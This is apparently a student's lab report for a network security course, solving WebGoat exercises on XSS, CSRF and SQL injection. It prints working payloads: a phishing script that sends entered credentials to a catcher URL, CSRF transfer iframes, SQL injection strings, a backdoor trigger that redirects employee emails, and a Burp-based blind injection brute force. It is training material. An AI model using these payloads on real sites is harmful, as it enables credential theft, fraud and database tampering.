20145208 蔡野 《网络对抗》Exp9 web安全基础实践

时间:2024-01-15 11:25:56

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

  • 本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

实验后回答问题

(1)SQL注入攻击原理,如何防御

  • 攻击原理:利用输入的机会构造自己期望的请求,比如破坏掉用户名或者密码验证进行登录,还有对数据库增删查改的基本操作。
  • 防御:利用输入规则限制进行防御,不允许特殊字符输入

(2)XSS攻击的原理,如何防御

  • 攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码写在url或者数据库存储里面,诱使别人访问从而运行代码。
  • 防御:和sql注入防御类似(永远不相信用户的输入)。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。如果有时候不能过滤的话,就将敏感的字符进行替换,让代码失去本来的样子,在读取的时候在替换回来。

(3)CSRF攻击原理,如何防御

  • 攻击原理:CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。CSRF可以劫持会话和cookie来冒名进行 一些操作,比如实验中的转账。
  • 防御:通过验证码来检测用户提交,尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post 操作 ,避免全站通用的cookie,严格设置cookie的域。

实验总结与体会

  • 感觉sql注入和xxs攻击都很好很强大,做的有点停不下来,感觉特别有用!一口气做了12个,剩下的自己有时间再做,先把博客发了。

实践过程

webgoat安装

  • 这部分在老师的指导(就指导了安装这一个事情)和周岐浩的博客里面说的很清楚,可以直接参考,我也不多做说明了。
  • ps:校网下载安装包是真的慢。。。还经常出现错误下载终止逼得我开流量下载了。我把下载好的安装包上传到网盘分享在这里,有需要的可以下载一些,虽然百度网盘也不快下载链接。放心,链接没有sql注入什么的~

实践过程

XSS注入攻击

Phishing with XSS

  • 这个很简单,就是在文本框里面写一个钓鱼网站代码就可以了
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 提交后如图:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

  • 成功!

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

Stored XSS Attacks

  • 这个超简单,在message里面随便输入点什么让别人不愉快的东西就可以了,比如一个玩笑弹窗
<script>
alert("Had this been a real attack...hehe just joke");
</script>
  • 效果如图:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

Reflected XSS Attacks

  • 根据题意和提示在下面文本框中输入http://www.targetserver.com/search.asp?input=<script>alert("hello");</script>,我选择的最后一个文本框输入
  • 提交后入图弹出来窗口:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

  • 看上去和上面很类似,但是原理不同,上面的是存储式的,这个是通过写在url里面达到的效果,里面的脚本也可以改写成其他恶意的内容

CSRF攻击

Cross Site Request Forgery (CSRF)

  • 这个实践是利用cookie冒名登录,用代码伪造请求
  • 在message里面输入<img src=' attack?Screen=自己网站的scr &menu=自己网站的menu &transferFunds=转钱数额 ' width='1' height='1'>就会发出一个转钱的请求,盗取钱财。

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

CSRF Prompt By-Pass

  • 这个就是利用CSRF进行冒名操作转账,填入message的代码如下:
<iframe
src="attack?Screen=273&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';">
</iframe> <iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>

SQL注入攻击

Numeric SQL Injection

  • 老师课上没做出来的,用老师的步骤一下子就成功了,看来是老师电脑今天不配合,挽尊!

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

Log Spoofing

  • 利用换行符伪造一个假的日志信息,欺骗人眼。

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

String SQL Injection

  • 这个就是之前网页sql注入的方法,在输入名字那里构造永真式,输入'or 1='1

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

SQL Injection

Stage 1 String SQL Injection
  • 在密码栏中输入' or 1=1 --来让密码规则破坏,但是登录不成功,抓包发现密码字段变了:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

  • 发现问题在这,有长度限制,修改一下重新尝试成功了管理员neville:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

Stage 3 Numeric SQL Injection
  • 这里要求我们登陆larry后能浏览Neville的profile信息,登陆larry后,可以发现能浏览员工信息的就是ViewProfile按钮,我们抓包分析这个按钮提交的参数:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

  • 然后将id字段改成101 or 1=1 order by salary desc --走一下,回到网页发现成功了:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

Database Backdoors

  • 第一步,通过输入101; update employee set salary=70000来给id为101的人改工资(真好!):

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

  • 第二步:留一个后门,让所有新用户的邮箱都是我的,工资都邮到我这里来吧!101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='caiye@qq.com' WHERE userid = NEW.userid

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

Blind Numeric SQL Injection

  • 我们知道一个cc_number=1111222233334444,但是想知道其pin在pins表里的值,可以使用盲注进行爆破,输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
  • 然后使用BP进行拦截,拦截后action--send to intruder进行爆破,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1,时间会很久:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

  • 可以发现返回报文的长度从2364开始改变了,所以尝试用2364进行请求,返回成功.那么其pin就为2364,输入2364,成功!

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

Blind String SQL Injection

  • 跟上面的那个盲注入类似,猜测cc_number='4321432143214321'的用户名,使用了SQL里的SUBSTRING这个函数,每一个字母进行爆破,原理和数字盲注一样:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
  • 因为有两个爆破点,一个是SubString函数的第二个参数,一个是字母h,所以使用Cluster Bomb进行爆破
  • 爆破点1 是1-10 10个可能性
  • 爆破点2 是a-z和A-Z 52个可能性,

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

  • 一共520种组合,时间还算可以接受:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

20145208 蔡野 《网络对抗》Exp9 web安全基础实践

  • 可以发现规律,正常是数字为10时报文长度为1334,因为10比1-9多一位;但有一些不是10报文长度也是1334,查看返回报文是Account number is valid,即有效账户,所以爆破得到了账户名。
  • 用户名是通过上图结果拼接而成,前面的数字代表后门字母在用户名中的位置:

20145208 蔡野 《网络对抗》Exp9 web安全基础实践